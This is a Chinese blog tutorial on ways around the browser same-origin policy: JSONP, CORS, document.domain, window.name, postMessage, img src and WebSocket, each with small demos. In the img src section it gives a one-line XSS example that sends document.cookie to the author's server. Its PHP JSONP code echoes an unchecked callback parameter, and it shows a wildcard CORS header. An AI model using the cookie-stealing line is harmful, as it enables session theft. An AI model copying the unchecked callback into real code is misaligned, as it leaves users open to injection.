跨域的N种方式

提到跨域,首先我们不得不提同源策略,同源即相同域名、相同端口、相同协议,违背同源策略即为跨域。当然在实际开发中,我们难免会遇到跨域的问题,这里我们就来总结一下常见的跨域解决方案。

jsonp

jsonp是最为常见的跨域解决方案,动态添加script标签,script标签中的src属性没有跨域的限制,获取跨域服务器上的js脚本文件,在该脚本文件中定义一个callback,将希望获取跨域服务器中的数据存放在callback当中。

下面我们就来模拟一下这个过程。首先打开本地的apache(http://127.0.0.1:8080/test/)模拟跨域服务器,然后利用node的http-server(http://10.66.199.28:8081)模拟本地服务器。

客户端,首先需要先声明callback函数test,然后请求跨域服务器:

1
2
3
4
5
6
<script type="text/javascript">
function test(json){
console.log(json);
}
</script>
<script src="http://127.0.0.1:8080/test/index.php?callback=test" charset="utf-8"></script>

服务器端,利用php生成相对应的回调函数:

1
2
3
4
5
6
7
8
<?php
$data = array(
"data1" => "erweureryu",
"data2" => "weqwewqeqe"
);
$callback = empty($_GET['callback']) ? 'jsonpcallback' : $_GET['callback'];
echo $callback . '(' . json_encode($data) . ')';
?>

客户端,我们利用jQuery也来实现一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script type="text/javascript">
$(document).ready(function(){
$.ajax({
type : "GET",
async: true,
url: "http://127.0.0.1:8080/test/index.php",
dataType : "jsonp",
jsonp: "callback",
jsonpCallback: "test",
success: function(json) {
console.log(json);
},
error: function(){
console.log('error');
}
});
});
</script>

CORS

由于jsonp只能发送GET请求,因此只能获取获取服务器的资源,假如我们需要post跨域服务器,就无法使用jsonp了,那么就有了CORS的解决方案。

CORS十分简单,只需要添加一个header即可,php中这样实现即可:

header('Access-Control-Allow-Origin: *') 星号表示任意均可以跨域访问。

或者html添加meta也可以,<meta http-equiv="Access-Control-Allow-Origin" content="*">

让我们通过对比来说明问题,直接ajax请求:

1
2
3
4
5
6
7
8
9
10
11
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.open("get", "http://127.0.0.1:8080/test/get.php", true);
xhr.send();
xhr.onreadystatechange = function(){
if(xhr.readyState === 4){
console.log(xhr.status);
console.log(xhr.responseText);
}
}
</script>

浏览器报错,提示跨域了:

XMLHttpRequest cannot load http://127.0.0.1:8080/test/get.php. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://10.66.199.28:8081‘ is therefore not allowed access.

那我们为php加一个上文的header, OK,成功访问!

当然我们可以把*改成特定的域,比如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// header("Access-Control-Allow-Origin: http://10.66.199.28:8082"); 跨域报错,端口不一致
// header("Access-Control-Allow-Origin: http://10.66.199.28:8082"); * 通配,均可,不安全
header("Access-Control-Allow-Origin: http://10.66.199.28:8081"); // 只允许http://10.66.199.28:8081访问
$stuList = array(
"0" => array( "name" => "Tom", "age" => 24, "sex" => 1),
"1" => array( "name" => "John", "age" => 23, "sex" => 1)
);
echo json_encode($stuList);
?>

document.domain

同源策略一方面使不同源的两个域之间无法进行ajax通信,另一方面限制浏览器中不同域的框架(iframe)之间是不能进行js的交互操作。

document.domain可以解决不同子域,相同主域的iframe间的交互问题,比如: acm.hdu.edu.cnbestcoder.hdu.edu.cn这是两个不同的子域,我们可以通过修改两个页面的document.domain值,使其均等于hdu.edu.cn,这样就可以跨域通信了。当然出于安全的目的,document.domain不可随意赋值,必须为当前域名的上级域名。

比如: 将acm.hdu.edu.cn的document.domain = xx.hdu 就会报错。

VM517:2 Uncaught DOMException: Failed to set the ‘domain’ property on ‘Document’: ‘xx.hdu’ is not a suffix of ‘hdu.edu.cn’.(…)

我们也尝试模拟一下,由于必须同端口,需要先修改一下hosts文件,不同子域名映射为相同ip

127.0.0.1 test1.blackganglion.com

127.0.0.1 test2.blackganglion.com

http://test2.blackganglion.com:8080/test/test2.html

1
2
3
4
5
6
7
<script type="text/javascript">
document.domain = "blackganglion.com";
window.a = 2;
window.test = function() {
console.log(a); // 2
}
</script>

http://test1.blackganglion.com:8080/test/test1.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<iframe id="iframe" src="http://test2.blackganglion.com:8080/test/test2.html" onload="complete()"></iframe>
<script type="text/javascript">
document.domain = "blackganglion.com";
function complete() {
var iframe = document.getElementById("iframe");
console.log(iframe);
var win = iframe.contentWindow;
console.log(win);
var a = win.a;
console.log(a); // 2
var test = win.test;
test();
}

如果将document.domain注释掉,那么就会报错,无法访问到window.

test1.html:16 Uncaught SecurityError: Blocked a frame with origin http://test1.blackganglion.com:8080 from accessing a frame with origin http://test2.blackganglion.com:8080. Protocols, domains, and ports must match.

window.name

window.name属性在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的name 值(2MB),因此可以被用来跨域页面间的值传递。

直接跨域访问window.name当然是不行的,相同父域还可以用document.domain,如果是完全不同的域名,我们就需要利用window.name的特性想一个新的办法了。

http://127.0.0.1:8080/test/test2.html

1
2
3
4
<script type="text/javascript">
window.name = "http://127.0.0.1:8080/test/test2.html";
console.log(window.name);
</script>

http://10.66.199.28:8081/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<iframe style="display: none"
id="iframe"
src="http://127.0.0.1:8080/test/test2.html"
onload="complete()">
</iframe>
<script type="text/javascript">
var iframe = document.getElementById("iframe");
var flag = 0;
function complete() {
if(flag === 1) {
console.log(iframe.contentWindow.name);
iframe.contentWindow.document.write('');
iframe.contentWindow.close();
document.body.removeChild(iframe);
} else if(flag === 0) {
flag = 1;
iframe.contentWindow.location = 'http://10.66.199.28:8081/test.html';
}
}

这里的技巧主要在于,访问window.name前刷新到当前域下的页面,利用window.name同窗口刷新后不变的特点,既能避免跨域,又能获取到跨域页面的window.name所包含的信息。

window.postMessage()

这是HTML5新的API,可以用来跨文档消息传递。

http://10.66.199.28:8081/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<iframe style = "display: none"
id = "iframe"
src = "http://127.0.0.1:8080/test/test2.html"
onload = "complete()">
</iframe>
<script type="text/javascript">
function complete() {
var iframeWindow = document.getElementById("iframe").contentWindow;
iframeWindow.postMessage("index.html postMessage", "http://127.0.0.1:8080/test/test2.html");
}
window.addEventListener("message", function(event) {
if(event.origin == "http://127.0.0.1:8080") {
console.log(event.data);
}
}, false);
</script>

http://127.0.0.1:8080/test/test2.html

1
2
3
4
5
6
7
8
<script type="text/javascript">
window.addEventListener("message", function(event) {
if(event.origin == "http://10.66.199.28:8081") {
console.log(event.data);
event.source.postMessage("received!", "http://10.66.199.28:8081/index.html");
}
}, false);
</script>

img src

img的src不受跨域限制,可以做一些get操作,用于统计。还有可能被用来XSS攻击,
<img src="我的服务器地址?cookie=document.cookie"></img>,这样用户的cookie就发送到我的服务器上了。

Web Socket

Web Socket也是HTML5的API,目的在于建立服务器与客户端之间的全双工、持久化的双向通信。我们都知道Http是无状态的,要实现Web Socket当然不能基于Http,需要使用Web Socket协议,这对服务器提出了新的要求,与传统的Http大有不同。Node的socket.io支持WebSocket协议,可用于构建实时聊天室应用。

  • 单工 A只能接受信号,B只能发送信号
  • 半双工 A能发信号给B,B也能发信号给A,但不能同时进行
  • 全双工 A能发信号给B,B也能发信号给A,可以同时进行